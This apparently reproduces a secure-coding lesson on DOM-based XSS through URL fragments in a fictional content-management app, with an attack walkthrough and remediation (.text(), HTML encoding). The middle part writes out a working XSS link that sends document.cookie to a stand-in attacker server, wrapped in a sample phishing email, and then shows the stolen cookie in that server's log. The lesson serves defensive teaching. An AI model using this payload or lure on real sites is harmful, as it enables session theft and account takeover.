7. Front End Security Basics: DOM XSS in URL

7. Front End Security Basics: DOM XSS in URL


When an HTML page is rendered in browsers, the browser downloads the HTML into local memory and automatically parses it to display the page on the screen. When a web page is loaded, the browser creates a Document Object Model (DOM) of the page, which is an object-oriented representation of an HTML document, that acts as an interface between JavaScript and the document itself and allows the creation of dynamic web pages. So, the objects in the DOM tree may be addressed and manipulated by using methods on the objects. Existing JavaScript can update the DOM, and new data can also contain JavaScript.
DOM Based XSS is a cross-site scripting attack where the original client-side script executes the malicious payload as a result of modifying the DOM environment in the victim’s browser so that the client side code runs in an unexpected manner. The Web page itself does not change, and the data flow never leaves the browser, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. For example, the source, where malicious data is read, could be some AJAX response, or the URL of the page (e.g., document.location.href), and the target is a sensitive method call that causes the execution of the malicious data (e.g., document.write(), eval() ).
So, to perform a successful DOM Based XSS attack and get access to some sensitive content, the malicious user needs to make the legitimate user add the malicious content to the DOM in their browser.



The vulnerable application pane loads the ContentBiz application which is used by content managers and marketing writers of the BIZ Company to create, edit, and manage content on company’s Web site.
Alice is a content manager and an authorized user of the ContentBiz system. She has just loaded the application in her web browser and successfully logged in.
Alice has recently started working on a localization project and needs to evaluate the amount of content in the “Products” section that she needs to get localized.
As Alice, go ahead and filter existing content blocks by entering Products in the filter box.

In the filter box, type Products and hit Enter.



10 entries were found, quite a reasonable amount to finish the project in time.
However, notice that our filter parameter is added to the page URL, after the hash (#) sign:
Everything that is placed after the hash (#) symbol is called URL fragment.

  • It is always the last part of the URL, if it exists at all.
  • It is never sent to the server when submitted; it is solely used by the browser.

This might in fact mean that the application page is vulnerable to DOM-based XSS attacks.
In a few steps we will see why this vulnerability occurs, but for now let’s focus on how exploitation of this vulnerability works.



Bob is an attacker and wants to execute his malicious JavaScript code in Alice’s browser. But first, he needs to check whether the application is really vulnerable to DOM XSS.
He tries the following link:

https://contentbiz.codebashing.com/placeholders/#filter=%3Cscript%3Ealert%28′ This%20application%20is%20vulnerable!’%29%3C%2Fscript%3E


As a result, alert is displayed. It means that DOM XSS vulnerability was successfully exploited.
Now Bob can try this attack against Alice. As a result of a successful attack, Bob is going to steal Alice’s session token, thus gaining access to the application using the same session as Alice.


Bob writes a malicious email to Alice, asking her to check out new content that requires her immediate attention at the ContentBiz portal.
Hi Alice,
You have a new urgent project assigned. To save you time, use the link below:
https://contentbiz.codebashing.com/placeholders/#filter=%3Cscript%3Edocument.write(“<img src=’ https://www.bobsevilserver.com/catch?cookie= ” + document.cookie + “‘ /> “);%3C%2Fscript%3E
to open the pre-filtered list of content blocks that are relevant to the project.
Kind Regards,

At the same time Bob opens his server log to check for results of his attack.
Alice would normally ignore unsolicited emails, but the information looks relevant to her and she decides to open it.



Interesting! When Alice clicks the link that Bob sent her, the website loads as expected. However, Bob’s malicious JavaScript code is also executed in Alice’s browser.
And now look at the server log of Bob’s server: there is a string containing Alice’s session cookie. (It was lucky for Bob that the HttpOnly flag was not enabled in Alice’s browser, allowing for the client side script to access the protected session cookie.)
Let’s now analyze how this vulnerability occurred.

[bob@hackserver~]#cat /var/log/apache2/access.log — [08/08/2018:10:19:06 +0300] “GET /catch?cookie=”NvKJEiuCWbE7kjCx6oDFRnmm0OkZ HTTP/1.1” 302 1279 “https://www.bobsevilserver.com/” “Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0


Now that we saw the attack in action, let’s explore why this attack was at all possible.


First, the URL fragment is extracted from the URL. It does not have native parsing libraries in JavaScript and requires manual parsing. The value of the fragment can be found in location.hash.

Then the value for filtering is extracted from URL using .split() method, and decoded with decodeURI() to transfer HTML-encoded special symbols (if any) into human-readable format.

After that, the HTML object (a header with parameters for filtering) is created from the user-supplied input by using .html() method.


To stay protected against DOM Cross-Site Scripting attacks, developers, as a general rule, should avoid using untrusted data and not accept it as an input.
As a next step, they should not use dangerous execution points (sinks) with the user-supplied data, like .html() in our example.
Let’s see how this technique can be applied to our vulnerable example to remediate the DOM-based XSS vulnerability.


When updating page contents with new HTML, input should never be mixed in with this HTML. So, a safe approach is to separate HTML from the input and use .text() instead of .html().
However, this will only prevent issues with content inserted into HTML and will be completely insufficient for other contexts, such as Javascript, HTML attributes and, basically, anything that isn’t the text content between two HTML tags. If it were inserted into an attribute/JavaScript context, it could still be escaped using quotes, apostrophes, backslashes and more.



As we discussed in the previous step, a universal solution is required, and it involves creating a sanitizer for all malicious characters.
For this purpose, developers can enable client-side context-sensitive output escaping because it provides a good level of protection. When the data is correctly escaped before being served to the user for display in their browser, the browser does not interpret it as code and instead interprets it as data, thus ensuring it does not get executed.
For example, the string: <script> is converted to &lt;script&gt; when properly escaped and is simply rendered as text in the user’s browser window rather than being interpreted as code.


HtmlEncode function definition specifies mapping for special characters (that can be used in the creation of malicious payload). Being applied to the filter value, it will automatically escape and encode HTML characters within the rendered HTML (including < , > , " , ' and &), thereby preventing injection of potentially malicious JavaScript code.


Comments are closed.